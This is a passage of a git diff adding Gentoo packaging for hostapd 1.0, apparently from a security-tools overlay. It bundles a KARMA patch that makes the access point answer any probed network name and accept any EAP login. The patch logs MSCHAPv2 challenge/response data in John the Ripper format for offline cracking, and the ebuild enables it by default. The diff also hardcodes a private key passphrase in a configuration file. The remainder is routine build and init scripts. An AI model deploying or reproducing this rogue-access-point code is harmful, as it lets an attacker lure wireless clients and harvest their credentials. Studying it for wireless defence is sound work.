+ elems.ssid_len == 0 ? "broadcast" : "our");
++
++ // KARMA
++ if (free_ssid) {
++// wpa_printf(MSG_MSGDUMP, "KARMA ssid malloc'd so free it\n");
++ os_free (ssid);
++ }
++ // END KARMA
+ }
+
+ #endif /* NEED_AP_MLME */
+diff -Nur hostapd-1.0/src/ap/ieee802_11.c hostapd-1.0-karma/src/ap/ieee802_11.c
+--- hostapd-1.0/src/ap/ieee802_11.c 2012-05-09 22:56:09.000000000 +0100
++++ hostapd-1.0-karma/src/ap/ieee802_11.c 2012-08-06 12:24:27.000000000 +0100
+@@ -520,18 +520,28 @@
+ if (ssid_ie == NULL)
+ return WLAN_STATUS_UNSPECIFIED_FAILURE;
+
+- if (ssid_ie_len != hapd->conf->ssid.ssid_len ||
+- os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0) {
++ // KARMA
++ if (hapd->iconf->enable_karma) {
+ char ssid_txt[33];
+ ieee802_11_print_ssid(ssid_txt, ssid_ie, ssid_ie_len);
+- hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211,
+- HOSTAPD_LEVEL_INFO,
+- "Station tried to associate with unknown SSID "
+- "'%s'", ssid_txt);
+- return WLAN_STATUS_UNSPECIFIED_FAILURE;
+- }
++ wpa_printf(MSG_MSGDUMP, "KARMA: Checking SSID for start of association, pass through %s", ssid_txt);
+
+- return WLAN_STATUS_SUCCESS;
++ return WLAN_STATUS_SUCCESS;
++ } else {
++ if (ssid_ie_len != hapd->conf->ssid.ssid_len ||
++ os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0) {
++ char ssid_txt[33];
++ ieee802_11_print_ssid(ssid_txt, ssid_ie, ssid_ie_len);
++ hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211,
++ HOSTAPD_LEVEL_INFO,
++ "Station tried to associate with unknown SSID "
++ "'%s'", ssid_txt);
++ return WLAN_STATUS_UNSPECIFIED_FAILURE;
++ }
++
++ return WLAN_STATUS_SUCCESS;
++ }
++ // KARMA END
+ }
+
+
+@@ -1523,6 +1533,21 @@
+ * step.
+ */
+ ap_sta_set_authorized(hapd, sta, 1);
++
++ // KARMA
++ // Print that it has associated and give the MAC and AP
++ // Doesn't currently work though as can't find ESSID
++ if (hapd->iconf->enable_karma) {
++ // This gives the ESSID of the AP and not the one from the probe.
++ //struct hostapd_ssid *ssid = sta->ssid;
++
++ // printf("KARMA: Successful association of " MACSTR " to ESSID '%s'\n",
++ // MAC2STR(mgmt->da), ssid->ssid);
++ printf("KARMA: Successful association of " MACSTR "\n",
++ MAC2STR(mgmt->da));
++ }
++
++ // KARMA END
+ }
+
+ if (reassoc)
+diff -Nur hostapd-1.0/src/crypto/random.c hostapd-1.0-karma/src/crypto/random.c
+--- hostapd-1.0/src/crypto/random.c 2012-05-09 22:56:09.000000000 +0100
++++ hostapd-1.0-karma/src/crypto/random.c 2012-08-06 12:20:55.000000000 +0100
+@@ -134,8 +134,8 @@
+ static unsigned int count = 0;
+
+ count++;
+- wpa_printf(MSG_MSGDUMP, "Add randomness: count=%u entropy=%u",
+- count, entropy);
++ //wpa_printf(MSG_MSGDUMP, "Add randomness: count=%u entropy=%u",
++ // count, entropy);
+ if (entropy > MIN_COLLECT_ENTROPY && (count & 0x3ff) != 0) {
+ /*
+ * No need to add more entropy at this point, so save CPU and
diff --git a/net-wireless/hostapd/files/hostapd-1.0-karma.patch b/net-wireless/hostapd/files/hostapd-1.0-karma.patch
new file mode 100644
index 00000000..2b88965a
--- /dev/null
+++ b/net-wireless/hostapd/files/hostapd-1.0-karma.patch
@@ -0,0 +1,465 @@
+diff -urN hostapd-1.0.orig//hostapd/Makefile hostapd-1.0/hostapd/Makefile
+--- hostapd-1.0.orig//hostapd/Makefile 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/hostapd/Makefile 2012-07-17 18:36:53.318959033 +0800
+@@ -3,7 +3,7 @@
+ endif
+
+ ifndef CFLAGS
+-CFLAGS = -MMD -O2 -Wall -g
++CFLAGS = -MMD -O2 -Wall -DDEBUG -g -pg
+ endif
+
+ CFLAGS += -I../src
+@@ -95,6 +95,7 @@
+
+ OBJS += ../src/eapol_auth/eapol_auth_sm.o
+
++OBJS += ../src/karma/karma.o
+
+ ifndef CONFIG_NO_DUMP_STATE
+ # define HOSTAPD_DUMP_STATE to include SIGUSR1 handler for dumping state to
+
+diff -urN hostapd-1.0.orig//hostapd/hostapd.conf hostapd-1.0/hostapd/hostapd.conf
+--- hostapd-1.0.orig//hostapd/hostapd.conf 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/hostapd/hostapd.conf 2012-07-17 18:36:53.319959023 +0800
+@@ -3,7 +3,7 @@
+
+ # AP netdevice name (without 'ap' postfix, i.e., wlan0 uses wlan0ap for
+ # management frames); ath0 for madwifi
+-interface=wlan0
++interface=wlan1
+
+ # In case of madwifi, atheros, and nl80211 driver interfaces, an additional
+ # configuration parameter, bridge, may be used to notify hostapd if the
+@@ -23,6 +23,7 @@
+ # Use driver=none if building hostapd as a standalone RADIUS server that does
+ # not control any wireless/wired driver.
+ # driver=hostap
++driver=nl80211
+
+ # hostapd event logger configuration
+ #
+@@ -88,7 +89,7 @@
+ # Country code (ISO/IEC 3166-1). Used to set regulatory domain.
+ # Set as needed to indicate country in which device is operating.
+ # This can limit available channels and transmit power.
+-#country_code=US
++country_code=US
+
+ # Enable IEEE 802.11d. This advertises the country_code and the set of allowed
+ # channels and transmit power levels based on the regulatory limits. The
+@@ -413,7 +414,7 @@
+ ##### IEEE 802.1X-2004 related configuration ##################################
+
+ # Require IEEE 802.1X authorization
+-#ieee8021x=1
++ieee8021x=1
+
+ # IEEE 802.1X/EAPOL version
+ # hostapd is implemented based on IEEE Std 802.1X-2004 which defines EAPOL
+@@ -421,7 +422,7 @@
+ # the new version number correctly (they seem to drop the frames completely).
+ # In order to make hostapd interoperate with these clients, the version number
+ # can be set to the older version (1) with this configuration value.
+-#eapol_version=2
++eapol_version=1
+
+ # Optional displayable message sent with EAP Request-Identity. The first \0
+ # in this string will be converted to ASCII-0 (nul). This can be used to
+@@ -463,16 +464,18 @@
+ # Use integrated EAP server instead of external RADIUS authentication
+ # server. This is also needed if hostapd is configured to act as a RADIUS
+ # authentication server.
+-eap_server=0
++eap_server=1
+
+ # Path for EAP server user database
+ #eap_user_file=/etc/hostapd.eap_user
+
+ # CA certificate (PEM or DER file) for EAP-TLS/PEAP/TTLS
+ #ca_cert=/etc/hostapd.ca.pem
++ca_cert=/etc/hostapd/sf_bundle.pem
+
+ # Server certificate (PEM or DER file) for EAP-TLS/PEAP/TTLS
+ #server_cert=/etc/hostapd.server.pem
++server_cert=/etc/hostapd/INTRANET.pem
+
+ # Private key matching with the server certificate for EAP-TLS/PEAP/TTLS
+ # This may point to the same file as server_cert if both certificate and key
+@@ -480,9 +483,11 @@
+ # used by commenting out server_cert and specifying the PFX file as the
+ # private_key.
+ #private_key=/etc/hostapd.server.prv
++private_key=/etc/hostapd/INTRANET.pem
+
+ # Passphrase for private key
+ #private_key_passwd=secret passphrase
++private_key_passwd=Cricket8
+
+ # Enable CRL verification.
+ # Note: hostapd does not yet support CRL downloading based on CDP. Thus, a
+@@ -680,6 +685,7 @@
+ # bit0 = WPA
+ # bit1 = IEEE 802.11i/RSN (WPA2) (dot11RSNAEnabled)
+ #wpa=1
++wpa=3
+
+ # WPA pre-shared keys for WPA-PSK. This can be either entered as a 256-bit
+ # secret in hex format (64 hex digits), wpa_psk, or as an ASCII passphrase
+@@ -701,6 +707,7 @@
+ # added to enable SHA256-based stronger algorithms.
+ # (dot11RSNAConfigAuthenticationSuitesTable)
+ #wpa_key_mgmt=WPA-PSK WPA-EAP
++wpa_key_mgmt=WPA-EAP
+
+ # Set of accepted cipher suites (encryption algorithms) for pairwise keys
+ # (unicast packets). This is a space separated list of algorithms:
+diff -urN hostapd-1.0.orig//hostapd/main.c hostapd-1.0/hostapd/main.c
+--- hostapd-1.0.orig//hostapd/main.c 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/hostapd/main.c 2012-07-17 18:37:57.724959001 +0800
+@@ -39,6 +39,10 @@
+
+ extern struct wpa_driver_ops *wpa_drivers[];
+
++/* Karma Mode */
++#include "karma/karma.h"
++int karma_beacon_respond = 0;
++int karma_eap_auth = 0;
+
+ struct hapd_global {
+ void **drv_priv;
+@@ -521,7 +525,7 @@
+ show_version();
+ fprintf(stderr,
+ "\n"
+- "usage: hostapd [-hdBKtv] [-P <PID file>] [-e <entropy file>] "
++ "usage: hostapd [-hdBKtvRA] [-P <PID file>] [-e <entropy file>] "
+ "<configuration file(s)>\n"
+ "\n"
+ "options:\n"
+@@ -535,7 +539,9 @@
+ " -f log output to debug file instead of stdout\n"
+ #endif /* CONFIG_DEBUG_FILE */
+ " -t include timestamps in some debug messages\n"
+- " -v show hostapd version\n");
++ " -v show hostapd version\n"
++ " -R [karma] respond to all probes using requested SSID\n"
++ " -A [karma] enable authentication attempt logging\n");
+
+ exit(1);
+ }
+@@ -564,7 +570,7 @@
+ return -1;
+
+ for (;;) {
+- c = getopt(argc, argv, "Bde:f:hKP:tv");
++ c = getopt(argc, argv, "Bde:f:hKP:tvRA");
+ if (c < 0)
+ break;
+ switch (c) {
+@@ -595,6 +601,12 @@
+ case 't':
+ wpa_debug_timestamp++;
+ break;
++ case 'R':
++ karma_beacon_respond++;
++ break;
++ case 'A':
++ karma_eap_auth++;
++ break;
+ case 'v':
+ show_version();
+ exit(1);
+diff -urN hostapd-1.0.orig//src/ap/beacon.c hostapd-1.0/src/ap/beacon.c
+--- hostapd-1.0.orig//src/ap/beacon.c 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/ap/beacon.c 2012-07-17 18:36:53.322959001 +0800
+@@ -14,6 +14,11 @@
+ * See README and COPYING for more details.
+ */
+
++#define _GNU_SOURCE
++#include <stdio.h>
++
++#include "karma/karma.h"
++
+ #include "utils/includes.h"
+
+ #ifndef CONFIG_NATIVE_WINDOWS
+@@ -283,7 +288,24 @@
+ if (sta)
+ sta->ssid_probe = &hapd->conf->ssid;
+ }
+-
++ /* Karma Promiscuous Beacon Response Hack - JoMo-Kun <jmk@foofus.net> */
++ else if (karma_beacon_respond) {
++ char ssid_txt[33];
++ char *message = NULL;
++
++ ieee802_11_print_ssid(ssid_txt, elems.ssid, elems.ssid_len);
++
++ if (asprintf(&message, "Probe request from " MACSTR " for SSID '%s'", MAC2STR(mgmt->sa), ssid_txt) < 0)
++ wpa_printf(MSG_ERROR, "Error allocating memory for Karma message\n");
++
++ karma_logger(0, message);
++ free(message);
++
++ ssid = (char *)elems.ssid;
++ ssid_len = elems.ssid_len;
++ //if (sta)
++ // sta->ssid_probe = &elems.ssid;
++ }
+ if (!ssid) {
+ if (!(mgmt->da[0] & 0x01)) {
+ char ssid_txt[33];
+diff -urN hostapd-1.0.orig//src/ap/hostapd.c hostapd-1.0/src/ap/hostapd.c
+--- hostapd-1.0.orig//src/ap/hostapd.c 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/ap/hostapd.c 2012-07-17 18:36:53.323958995 +0800
+@@ -12,6 +12,8 @@
+ * See README and COPYING for more details.
+ */
+
++#include "karma/karma.h"
++
+ #include "utils/includes.h"
+
+ #include "utils/common.h"
+diff -urN hostapd-1.0.orig//src/ap/ieee802_11.c hostapd-1.0/src/ap/ieee802_11.c
+--- hostapd-1.0.orig//src/ap/ieee802_11.c 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/ap/ieee802_11.c 2012-07-17 18:36:53.324958995 +0800
+@@ -12,6 +12,8 @@
+ * See README and COPYING for more details.
+ */
+
++#include "karma/karma.h"
++
+ #include "utils/includes.h"
+
+ #ifndef CONFIG_NATIVE_WINDOWS
+@@ -520,8 +522,9 @@
+ if (ssid_ie == NULL)
+ return WLAN_STATUS_UNSPECIFIED_FAILURE;
+
+- if (ssid_ie_len != hapd->conf->ssid.ssid_len ||
+- os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0) {
++ /* Karma Promiscuous Beacon Response Hack - JoMo-Kun <jmk@foofus.net> */
++ if ((!karma_beacon_respond) && (ssid_ie_len != hapd->conf->ssid.ssid_len ||
++ os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0)) {
+ char ssid_txt[33];
+ ieee802_11_print_ssid(ssid_txt, ssid_ie, ssid_ie_len);
+ hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211,
+diff -urN hostapd-1.0.orig//src/eap_server/eap_server.c hostapd-1.0/src/eap_server/eap_server.c
+--- hostapd-1.0.orig//src/eap_server/eap_server.c 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/eap_server/eap_server.c 2012-07-17 18:36:53.325959001 +0800
+@@ -18,6 +18,11 @@
+ * backend_auth configuration variable to TRUE.
+ */
+
++#define _GNU_SOURCE
++#include <stdio.h>
++
++#include "karma/karma.h"
++
+ #include "includes.h"
+
+ #include "common.h"
+@@ -99,24 +104,51 @@
+ int eap_user_get(struct eap_sm *sm, const u8 *identity, size_t identity_len,
+ int phase2)
+ {
+- struct eap_user *user;
++ struct eap_user *user;
++ char *username = NULL;
++ char *message = NULL;
++
++ eap_user_free(sm->user);
++ sm->user = NULL;
+
+- if (sm == NULL || sm->eapol_cb == NULL ||
++ user = os_zalloc(sizeof(*user));
++ if (user == NULL)
++ return -1;
++
++ /* Karma Mode: Accept all requests, regardless of username - JoMo-Kun <jmk@foofus.net> */
++ if (karma_eap_auth)
++ {
++ user->methods[0].vendor = sm->respVendor;
++ user->password = os_zalloc(9);
++ strncpy((char *)user->password, "Cricket8", 8); /* Magic password allows successful authentication */
++ user->password_len = 8;
++
++ if (phase2)
++ user->methods[0].method = EAP_TYPE_MSCHAPV2;
++ else // TODO: what happens if we propose LEAP?
++ user->methods[0].method = EAP_TYPE_PEAP;
++
++ username = os_zalloc(sm->identity_len + 1);
++ strncpy(username, (char *)sm->identity, (size_t)sm->identity_len);
++
++ if (asprintf(&message, "Authentication Request - Username: %s Vendor: %d Method: %d", username, sm->respVendor, sm->respVendorMethod) < 0)
++ printf("Error allocating memory for request message.\n");
++
++ karma_logger(0, message);
++ free(message);
++ }
++ else
++ {
++ if (sm == NULL || sm->eapol_cb == NULL ||
+ sm->eapol_cb->get_eap_user == NULL)
+- return -1;
++ return -1;
+
+- eap_user_free(sm->user);
+- sm->user = NULL;
+-
+- user = os_zalloc(sizeof(*user));
+- if (user == NULL)
+- return -1;
+-
+- if (sm->eapol_cb->get_eap_user(sm->eapol_ctx, identity,
+- identity_len, phase2, user) != 0) {
+- eap_user_free(user);
+- return -1;
+- }
++ if (sm->eapol_cb->get_eap_user(sm->eapol_ctx, identity,
++ identity_len, phase2, user) != 0) {
++ eap_user_free(user);
++ return -1;
++ }
++ }
+
+ sm->user = user;
+ sm->user_eap_method_index = 0;
+diff -urN hostapd-1.0.orig//src/eap_server/eap_server_mschapv2.c hostapd-1.0/src/eap_server/eap_server_mschapv2.c
+--- hostapd-1.0.orig//src/eap_server/eap_server_mschapv2.c 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/eap_server/eap_server_mschapv2.c 2012-07-17 18:36:53.331959001 +0800
+@@ -12,6 +12,8 @@
+ * See README and COPYING for more details.
+ */
+
++#include "karma/karma.h"
++
+ #include "includes.h"
+
+ #include "common.h"
+@@ -290,13 +292,15 @@
+ struct wpabuf *respData)
+ {
+ struct eap_mschapv2_hdr *resp;
+- const u8 *pos, *end, *peer_challenge, *nt_response, *name;
++ const u8 *pos, *end, *auth_challenge, *peer_challenge, *nt_response, *name;
+ u8 flags;
+ size_t len, name_len, i;
+ u8 expected[24];
+ const u8 *username, *user;
+ size_t username_len, user_len;
+ int res;
++ char *auth_creds = NULL;
++ int auth_creds_len = 0;
+
+ pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_MSCHAPV2, respData,
+ &len);
+@@ -336,6 +340,38 @@
+ wpa_printf(MSG_MSGDUMP, "EAP-MSCHAPV2: Flags 0x%x", flags);
+ wpa_hexdump_ascii(MSG_MSGDUMP, "EAP-MSCHAPV2: Name", name, name_len);
+
++ /* Karma Mode: Log MSCHAPv2 exchange in John format - JoMo-Kun <jmk@foofus.net> */
++ /* user::domain (unused):authenticator challenge:mschapv2 response:peer challenge */
++ if (karma_eap_auth)
++ {
++ auth_creds_len = sm->identity_len + 3 + 16*2 + 1 + 24*2 + 1 + 16*2;
++ auth_creds = os_malloc(auth_creds_len + 1);
++ memset(auth_creds, 0, auth_creds_len + 1);
++
++ strncpy(auth_creds, (char *)sm->identity, sm->identity_len);
++ sprintf(auth_creds + sm->identity_len, ":::");
++
++ /* Authenticator Challenge */
++ auth_challenge = data->auth_challenge;
++ for (i=0; i<16; i++)
++ sprintf(auth_creds + sm->identity_len + 3 + 2*i, "%2.2X", 0xFF & (int)auth_challenge[i]);
++
++ sprintf(auth_creds + sm->identity_len + 3 + 16*2, ":");
++
++ /* MSCHAPv2 Response */
++ for (i=0; i<24; i++)
++ sprintf(auth_creds + sm->identity_len + 3 + 16*2 + 1 + 2*i, "%2.2X", 0xFF & (int)nt_response[i]);
++
++ sprintf(auth_creds + sm->identity_len + 3 + 16*2 + 1 + 24*2, ":");
++
++ /* Peer Challenge */
++ for (i=0; i<16; i++)
++ sprintf(auth_creds + sm->identity_len + 3 + 16*2 + 1 + 24*2 + 1 + 2*i, "%2.2X", 0xFF & (int)peer_challenge[i]);
++
++ karma_logger(1, auth_creds);
++ free(auth_creds);
++ }
++
+ /* MSCHAPv2 does not include optional domain name in the
+ * challenge-response calculation, so remove domain prefix
+ * (if present). */
+diff -urN hostapd-1.0.orig//src/karma/karma.c hostapd-1.0/src/karma/karma.c
+--- hostapd-1.0.orig//src/karma/karma.c 1970-01-01 07:30:00.000000000 +0730
++++ hostapd-1.0/src/karma/karma.c 2012-07-17 18:36:53.332959000 +0800
+@@ -0,0 +1,43 @@
++#define _GNU_SOURCE
++#include <stdio.h>
++#include <time.h>
++
++#include "common.h"
++#include "includes.h"
++#include "trace.h"
++
++#include "karma/karma.h"
++
++/* Karma Mode: Log data related to MSCHAPv2 challenge/response authentication attempts */
++extern void karma_logger(int type, char *message)
++{
++ FILE *logfd;
++ time_t cur_time;
++ struct tm *tm_ptr;
++ char time_buf[256];
++ /* General: probe requests, username requests */
++ logfd = fopen("./hostapd-karma.txt", "a");
++ if (logfd == NULL) {
++ fprintf(stderr, "[karma] Failed to open log file: ./hostapd-karma.txt\n");
++ logfd = stderr;
++ }
++
++ time(&cur_time);
++ tm_ptr = localtime(&cur_time);
++ strftime(time_buf, 256, "%Y-%m-%d %H:%M:%S", tm_ptr);
++ fprintf(logfd, "%s: %s\n", time_buf, message);
++ fprintf(stderr, "[karma] %s: %s\n", time_buf, message);
++ fclose(logfd);
++
++ /* MSCHAPv2 Challenge/Response */
++ if (type == 1)
++ {
++ logfd = fopen("./hostapd-karma.lc", "a");
++ if (logfd == NULL) {
++ fprintf(stderr, "[karma] Failed to open log file: ./hostapd-karma.lc\n");
++ logfd = stderr;
++ }
++ fprintf(logfd, "%s\n", message);
++ fclose(logfd);
++ }
++}
+diff -urN hostapd-1.0.orig//src/karma/karma.h hostapd-1.0/src/karma/karma.h
+--- hostapd-1.0.orig//src/karma/karma.h 1970-01-01 07:30:00.000000000 +0730
++++ hostapd-1.0/src/karma/karma.h 2012-07-17 18:36:53.332959000 +0800
+@@ -0,0 +1,3 @@
++extern int karma_beacon_respond;
++extern int karma_eap_auth;
++extern void karma_logger(int, char*);
+diff -urN hostapd-1.0.orig//src/utils/wpa_debug.c hostapd-1.0/src/utils/wpa_debug.c
+--- hostapd-1.0.orig//src/utils/wpa_debug.c 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/utils/wpa_debug.c 2012-07-17 18:36:53.333959000 +0800
+@@ -22,6 +22,8 @@
+ static int wpa_debug_syslog = 0;
+ #endif /* CONFIG_DEBUG_SYSLOG */
+
++/* Karma Mode */
++#include "karma/karma.h"
+
+ int wpa_debug_level = MSG_INFO;
+ int wpa_debug_show_keys = 0;
diff --git a/net-wireless/hostapd/files/hostapd-1.0-libnl_path_fix.patch b/net-wireless/hostapd/files/hostapd-1.0-libnl_path_fix.patch
new file mode 100644
index 00000000..abf15a6e
--- /dev/null
+++ b/net-wireless/hostapd/files/hostapd-1.0-libnl_path_fix.patch
@@ -0,0 +1,24 @@
+diff -aurp a/src/drivers/drivers.mak b/src/drivers/drivers.mak
+--- a/src/drivers/drivers.mak 2012-10-03 19:42:16.387634128 +0000
++++ b/src/drivers/drivers.mak 2012-10-03 19:43:16.246693744 +0000
+@@ -48,7 +48,7 @@ NEED_RFKILL=y
+ ifdef CONFIG_LIBNL32
+ DRV_LIBS += -lnl-3
+ DRV_LIBS += -lnl-genl-3
+- DRV_CFLAGS += -DCONFIG_LIBNL20
++ DRV_CFLAGS += -DCONFIG_LIBNL20 -I/usr/include/libnl3
+ else
+ ifdef CONFIG_LIBNL_TINY
+ DRV_LIBS += -lnl-tiny
+diff -aurp a/src/drivers/drivers.mk b/src/drivers/drivers.mk
+--- a/src/drivers/drivers.mk 2012-10-03 19:42:16.385634126 +0000
++++ b/src/drivers/drivers.mk 2012-10-03 19:43:23.333700780 +0000
+@@ -48,7 +48,7 @@ NEED_RFKILL=y
+ ifdef CONFIG_LIBNL32
+ DRV_LIBS += -lnl-3
+ DRV_LIBS += -lnl-genl-3
+- DRV_CFLAGS += -DCONFIG_LIBNL20
++ DRV_CFLAGS += -DCONFIG_LIBNL20 -I/usr/include/libnl3
+ else
+ ifdef CONFIG_LIBNL_TINY
+ DRV_LIBS += -lnl-tiny
diff --git a/net-wireless/hostapd/files/hostapd-1.0-tls_length_fix.patch b/net-wireless/hostapd/files/hostapd-1.0-tls_length_fix.patch
new file mode 100644
index 00000000..bda92cf4
--- /dev/null
+++ b/net-wireless/hostapd/files/hostapd-1.0-tls_length_fix.patch
@@ -0,0 +1,48 @@
+From 586c446e0ff42ae00315b014924ec669023bd8de Mon Sep 17 00:00:00 2001
+From: Jouni Malinen <j@w1.fi>
+Date: Sun, 7 Oct 2012 20:06:29 +0300
+Subject: [PATCH] EAP-TLS server: Fix TLS Message Length validation
+
+EAP-TLS/PEAP/TTLS/FAST server implementation did not validate TLS
+Message Length value properly and could end up trying to store more
+information into the message buffer than the allocated size if the first
+fragment is longer than the indicated size. This could result in hostapd
+process terminating in wpabuf length validation. Fix this by rejecting
+messages that have invalid TLS Message Length value.
+
+This would affect cases that use the internal EAP authentication server
+in hostapd either directly with IEEE 802.1X or when using hostapd as a
+RADIUS authentication server and when receiving an incorrectly
+constructed EAP-TLS message. Cases where hostapd uses an external
+authentication are not affected.
+
+Thanks to Timo Warns for finding and reporting this issue.
+
+Signed-hostap: Jouni Malinen <j@w1.fi>
+intended-for: hostap-1
+---
+ src/eap_server/eap_server_tls_common.c | 8 ++++++++
+ 1 files changed, 8 insertions(+), 0 deletions(-)
+
+diff --git a/src/eap_server/eap_server_tls_common.c b/src/eap_server/eap_server_tls_common.c
+index 31be2ec..46f282b 100644
+--- a/src/eap_server/eap_server_tls_common.c
++++ b/src/eap_server/eap_server_tls_common.c
+@@ -228,6 +228,14 @@ static int eap_server_tls_process_fragment(struct eap_ssl_data *data,
+ return -1;
+ }
+
++ if (len > message_length) {
++ wpa_printf(MSG_INFO, "SSL: Too much data (%d bytes) in "
++ "first fragment of frame (TLS Message "
++ "Length %d bytes)",
++ (int) len, (int) message_length);
++ return -1;
++ }
++
+ data->tls_in = wpabuf_alloc(message_length);
+ if (data->tls_in == NULL) {
+ wpa_printf(MSG_DEBUG, "SSL: No memory for message");
+--
+1.7.4-rc1
+
diff --git a/net-wireless/hostapd/files/hostapd-conf.d b/net-wireless/hostapd/files/hostapd-conf.d
new file mode 100644
index 00000000..7d05735e
--- /dev/null
+++ b/net-wireless/hostapd/files/hostapd-conf.d
@@ -0,0 +1,9 @@
+# Space separated List of interfaces which needs to be started before
+# hostapd
+INTERFACES="wlan0"
+
+# Space separated list of configuration files
+CONFIGS="/etc/hostapd/hostapd.conf"
+
+# Extra options to pass to hostapd, see hostapd(8)
+OPTIONS=""
diff --git a/net-wireless/hostapd/files/hostapd-init.d b/net-wireless/hostapd/files/hostapd-init.d
new file mode 100644
index 00000000..bc5b8d6a
--- /dev/null
+++ b/net-wireless/hostapd/files/hostapd-init.d
@@ -0,0 +1,50 @@
+#!/sbin/runscript
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/hostapd/files/hostapd-init.d,v 1.3 2011/09/25 14:03:46 gurligebis Exp $
+
+extra_started_commands="reload"
+
+depend() {
+ local myneeds=
+ for iface in ${INTERFACES}; do
+ myneeds="${myneeds} net.${iface}"
+ done
+
+ [ -n "${myneeds}" ] && need ${myneeds}
+ use logger
+}
+
+checkconfig() {
+ local file
+
+ for file in ${CONFIGS}; do
+ if [ ! -r "${file}" ]; then
+ eerror "hostapd configuration file (${CONFIG}) not found"
+ return 1
+ fi
+ done
+}
+
+start() {
+ checkconfig || return 1
+
+ ebegin "Starting ${SVCNAME}"
+ start-stop-daemon --start --exec /usr/sbin/hostapd \
+ -- -B ${OPTIONS} ${CONFIGS}
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping ${SVCNAME}"
+ start-stop-daemon --stop --exec /usr/sbin/hostapd
+ eend $?
+}
+
+reload() {
+ checkconfig || return 1
+
+ ebegin "Reloading ${SVCNAME} configuration"
+ kill -HUP $(pidof /usr/sbin/hostapd) > /dev/null 2>&1
+ eend $?
+}
diff --git a/net-wireless/hostapd/hostapd-1.0-r4.ebuild b/net-wireless/hostapd/hostapd-1.0-r4.ebuild
new file mode 100644
index 00000000..343129db
--- /dev/null
+++ b/net-wireless/hostapd/hostapd-1.0-r4.ebuild
@@ -0,0 +1,207 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/hostapd/hostapd-1.0-r4.ebuild,v 1.4 2012/10/12 00:52:20 blueness Exp $
+
+EAPI="4"
+
+inherit toolchain-funcs eutils
+
+DESCRIPTION="IEEE 802.11 wireless LAN Host AP daemon"
+HOMEPAGE="http://hostap.epitest.fi"
+SRC_URI="http://hostap.epitest.fi/releases/${P}.tar.gz"
+
+LICENSE="|| ( GPL-2 BSD )"
+SLOT="0"
+KEYWORDS="amd64 ~mips ppc x86"
+IUSE="cui debug ipv6 +karma logwatch madwifi +ssl +wps +crda"
+
+DEPEND="ssl? ( dev-libs/openssl )
+ kernel_linux? (
+ dev-libs/libnl:3
+ crda? ( net-wireless/crda )
+ )
+ madwifi? ( ||
+ ( >net-wireless/madwifi-ng-tools-0.9.3
+ net-wireless/madwifi-old ) )"
+RDEPEND="${DEPEND}"
+
+S="${S}/${PN}"
+
+src_prepare() {
+ cd ..
+ epatch "${FILESDIR}/${P}-libnl_path_fix.patch"
+ epatch "${FILESDIR}/${P}-tls_length_fix.patch"
+ use karma && epatch "${FILESDIR}/${P}-karma.patch"
+ use cui && epatch "${FILESDIR}/cui-20120417.patch"
+
+ sed -i -e "s:/etc/hostapd:/etc/hostapd/hostapd:g" \
+ "${S}/hostapd.conf" || die
+}
+
+src_configure() {
+ local CONFIG="${S}/.config"
+
+ # toolchain setup
+ echo "CC = $(tc-getCC)" > ${CONFIG}
+
+ # EAP authentication methods
+ echo "CONFIG_EAP=y" >> ${CONFIG}
+ echo "CONFIG_EAP_MD5=y" >> ${CONFIG}
+
+ if use ssl; then
+ # SSL authentication methods
+ echo "CONFIG_EAP_TLS=y" >> ${CONFIG}
+ echo "CONFIG_EAP_TTLS=y" >> ${CONFIG}
+ echo "CONFIG_EAP_MSCHAPV2=y" >> ${CONFIG}
+ echo "CONFIG_EAP_PEAP=y" >> ${CONFIG}
+ fi
+
+ if use wps; then
+ # Enable Wi-Fi Protected Setup
+ echo "CONFIG_WPS=y" >> ${CONFIG}
+ echo "CONFIG_WPS2=y" >> ${CONFIG}
+ echo "CONFIG_WPS_UPNP=y" >> ${CONFIG}
+ einfo "Enabling Wi-Fi Protected Setup support"
+ fi
+
+ echo "CONFIG_EAP_GTC=y" >> ${CONFIG}
+ echo "CONFIG_EAP_SIM=y" >> ${CONFIG}
+ echo "CONFIG_EAP_AKA=y" >> ${CONFIG}
+ echo "CONFIG_EAP_PAX=y" >> ${CONFIG}
+ echo "CONFIG_EAP_PSK=y" >> ${CONFIG}
+ echo "CONFIG_EAP_SAKE=y" >> ${CONFIG}
+ echo "CONFIG_EAP_GPSK=y" >> ${CONFIG}
+ echo "CONFIG_EAP_GPSK_SHA256=y" >> ${CONFIG}
+
+ einfo "Enabling drivers: "
+
+ # drivers
+ echo "CONFIG_DRIVER_HOSTAP=y" >> ${CONFIG}
+ einfo " HostAP driver enabled"
+ echo "CONFIG_DRIVER_WIRED=y" >> ${CONFIG}
+ einfo " Wired driver enabled"
+ echo "CONFIG_DRIVER_PRISM54=y" >> ${CONFIG}
+ einfo " Prism54 driver enabled"
+ echo "CONFIG_DRIVER_NONE=y" >> ${CONFIG}
+ einfo " None driver enabled"
+
+ if use madwifi; then
+ # Add include path for madwifi-driver headers
+ einfo " Madwifi driver enabled"
+ echo "CFLAGS += -I/usr/include/madwifi" >> ${CONFIG}
+ echo "CONFIG_DRIVER_MADWIFI=y" >> ${CONFIG}
+ else
+ einfo " Madwifi driver disabled"
+ fi
+
+ einfo " nl80211 driver enabled"
